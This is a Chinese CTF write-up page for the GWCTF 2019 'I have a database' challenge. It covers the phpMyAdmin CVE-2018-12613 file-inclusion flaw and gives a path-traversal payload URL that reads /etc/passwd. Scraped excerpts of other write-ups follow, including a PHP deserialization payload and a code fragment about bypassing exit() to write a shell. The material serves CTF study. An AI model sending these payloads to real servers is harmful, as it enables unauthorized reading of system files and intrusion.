刷题记录：[GWCTF 2019]我有一个数据库

刷题记录：[GWCTF 2019]我有一个数据库
知识点
- phpMyadmin(CVE-2018-12613)后台任意文件包含漏洞

刷题记录：[GWCTF 2019]我有一个数据库

知识点

phpMyadmin(CVE-2018-12613)后台任意文件包含漏洞

cve-2018-12613-PhpMyadmin后台文件包含
影响版本：4.8.0——4.8.1
payload:/phpmyadmin/?target=db_datadict.php%253f/../../../../../../../../etc/passwd

原文地址：https://www.cnblogs.com/20175211lyz/p/12194801.html

时间： 2024-08-30 02:31:19

刷题记录：[GWCTF 2019]我有一个数据库的相关文章

scoi刷题记录（2019/04/07）

scoi2005 繁忙的都市扫雷互不侵犯 scoi2006 zh_tree scoi2007 排列 scoi2009 最长距离生日礼物 scoi2010 幸运数字 scoi2011 糖果 scoi2012 喵星球上的点名原文地址:https://www.cnblogs.com/Achensy/p/10664044.html

从现在开始,我的刷题记录都开始给大家一个一个刷!今天给大家献上“E”级题:最强大脑!! 试题编号:0284 最强大脑难度级别:E: 运行时间限制:3000ms: 运行空间限制:256000KB: 代码长度限制:2000000B 试题描述 zhb国是一个传说中的国度,国家的居民叫做最强(chang)大脑(diao).Zhb国是一个N×M的矩形方阵,每个格子代表一个街区.然而zhb国是没有交通工具的.居民大脑(diao)们完全靠地面的弹射装置来移动.每个街区都装有弹射装置.使用弹射装置是需

刷题记录：[De1CTF 2019]Giftbox && Comment

目录刷题记录:[De1CTF 2019]Giftbox && Comment 一.知识点 1.sql注入 && totp 2.RCE 3.源码泄露 4.敏感文件读取刷题记录:[De1CTF 2019]Giftbox && Comment 题目复现链接:https://buuoj.cn/challenges 参考链接:De1CTF Web WriteUp BUUCTF平台 web writeup 第三弹一.知识点 1.sql注入 && t

刷题记录：[安洵杯 2019]easy_serialize_php

目录刷题记录:[安洵杯 2019]easy_serialize_php 知识点 PHP反序列化刷题记录:[安洵杯 2019]easy_serialize_php 题目复现链接:https://buuoj.cn/challenges 参考链接:第二届安洵杯2019部分writeup 知识点 PHP反序列化 payload为_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==&quo

刷题记录：[SUCTF 2019]EasySQL (欠)

目录刷题记录:[SUCTF 2019]EasySQL 刷题记录:[SUCTF 2019]EasySQL 原文地址:https://www.cnblogs.com/20175211lyz/p/11450409.html

刷题记录：[SUCTF 2019]Pythonginx

目录刷题记录:[SUCTF 2019]Pythonginx 一.涉及知识点 1. CVE-2019-9636:urlsplit不处理NFKC标准化 2.Nginx重要文件位置二.解题方法刷题记录:[SUCTF 2019]Pythonginx 题目复现链接:https://buuoj.cn/challenges 参考链接:2019 SUCTF wp SUCTF_2019_部分复现一.涉及知识点 1. CVE-2019-9636:urlsplit不处理NFKC标准化 https://bugs

刷题记录：[强网杯 2019]Upload

目录刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challenges 参考链接:2019 第三届强网杯 Web 部分 WriteUp + 复现环境一.知识点 1.源码泄露 www.tar.gz 2.php反序列化看起来文件很大,但是用phpstorm打开的话会发现默认打开的文件里有两个断点,其实是给的hint,指出了反序列化利用的地方.之后常规的反序列化

刷题记录：[RCTF 2019]Nextphp

目录刷题记录:[RCTF 2019]Nextphp 知识点 preload/FFI同时使用导致绕过disable_function/open_basedir php_exec 刷题记录:[RCTF 2019]Nextphp 题目复现链接:https://buuoj.cn/challenges 参考链接:RCTF 2019 Web Writeup 知识点 preload/FFI同时使用导致绕过disable_function/open_basedir 看文档https://wiki.php.ne

刷题记录：[EIS 2019]EzPOP

目录刷题记录:[EIS 2019]EzPOP 知识点编码写shell绕过 base64工作机制绕过后缀名检查刷题记录:[EIS 2019]EzPOP 题目复现链接:https://buuoj.cn/challenges 知识点编码写shell绕过 $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result = file_put_conte